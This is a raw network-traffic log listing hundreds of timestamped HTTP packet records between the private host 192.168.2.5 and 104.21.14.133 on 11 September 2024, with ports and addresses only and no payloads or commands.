Sep 11, 2024 18:23:54.187269926 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.187347889 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.188056946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.188060045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.188064098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.188069105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.188076973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.188081026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.188087940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.188091040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.188095093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.188106060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.188110113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.188112974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.188117981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.188121080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.188126087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.188129902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.188133001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.188137054 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.188142061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.188146114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.188149929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.188153982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.188158035 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.188158989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.188158035 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.188163996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.188196898 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.188196898 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.189033985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189038038 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189040899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189044952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189054966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189058065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189062119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189066887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189070940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189075947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189080954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189084053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189088106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189096928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189100027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189105034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189107895 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.189107895 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.189110041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189114094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189116955 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189121008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189126968 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189131021 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189135075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189141035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189143896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189148903 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.189174891 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.189920902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189928055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189932108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189934969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189945936 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189949989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189954042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189959049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189961910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189965963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189971924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189975977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189980984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.189985037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.190002918 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.190002918 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.190037966 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.190390110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.190392971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.190397024 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.190402985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.190412045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.190416098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.190421104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.190496922 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.190790892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.190821886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.190825939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.190929890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.190937996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.190942049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.190946102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.190949917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.190998077 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.190998077 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.192390919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.192441940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.192445040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.192538977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.192547083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.192550898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.192554951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.192558050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.192568064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.192605019 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.192907095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.192910910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.192914963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.192919970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.192929029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.192933083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.192938089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.192940950 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.192949057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.192954063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.192958117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.192961931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.192966938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.192975998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.193006039 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.193006039 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.193257093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.193259954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.193264961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.193269014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.193276882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.193280935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.193285942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.193289995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.193298101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.193303108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.193306923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.193330050 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.193387985 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.194047928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.194067001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.194070101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.194159985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.194163084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.194166899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.194171906 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.194171906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.194175005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.194179058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.194230080 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.194230080 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.194367886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.194614887 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.196243048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.196286917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.196289062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.196470976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.196517944 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.196734905 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.240586996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.240591049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.240595102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.240601063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.240603924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.240641117 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.240690947 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.240714073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.240720034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.240722895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.240972042 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.280170918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.280217886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.280221939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.280307055 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.280307055 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.280332088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.280334949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.280339003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.280343056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.280352116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.280545950 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.436822891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.436862946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.436866045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.436913967 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.436955929 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.436971903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.436975956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.436980009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.436984062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.436988115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.436991930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.437033892 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.437181950 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.437186003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.437190056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.437252045 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.437304020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.437309027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.437314034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.437362909 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.437431097 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.437434912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.437439919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.437443972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.437494040 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.437568903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.437573910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.437577963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.437582970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.437639952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.437644958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.437649012 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.437654972 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.437659979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.437664986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.437669992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.437674046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.437676907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.437689066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.437693119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.437696934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.437732935 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.437733889 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.438256979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438261032 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438265085 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438273907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438282013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438286066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438292027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438294888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438298941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438306093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438309908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438316107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438327074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438330889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438366890 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.438446999 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.438446999 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.438853025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438857079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438860893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438865900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438869953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438873053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438879013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438882113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438886881 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438890934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438894987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438899040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438904047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438906908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438910961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438915968 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438919067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438924074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438929081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438931942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438935995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438940048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438944101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.438945055 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.438949108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439038038 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.439038038 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.439855099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439861059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439865112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439867973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439872026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439877033 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439881086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439884901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439888954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439893007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439903021 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439908981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439912081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439917088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439925909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439929962 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439934015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439940929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439944029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439948082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439953089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439956903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439960957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439965963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439970016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439974070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439979076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439982891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.439986944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.440361977 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.440361977 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.440361977 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.440361977 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.440422058 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.440422058 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.440767050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.440773010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.440776110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.440781116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.440784931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.440788984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.440793037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.440798998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.440802097 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.440804958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.440815926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.440820932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.440824986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.440828085 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.440833092 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.440836906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.440840960 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.440845013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.440849066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.440853119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.440856934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.440860987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.440865040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.440870047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.441190004 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.441190004 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.441262960 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.441262960 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.508598089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.508605003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.508610010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.508614063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.508619070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.508621931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.508625984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.508631945 CEST	80	49710	104.21.14.133	192.168.2.5
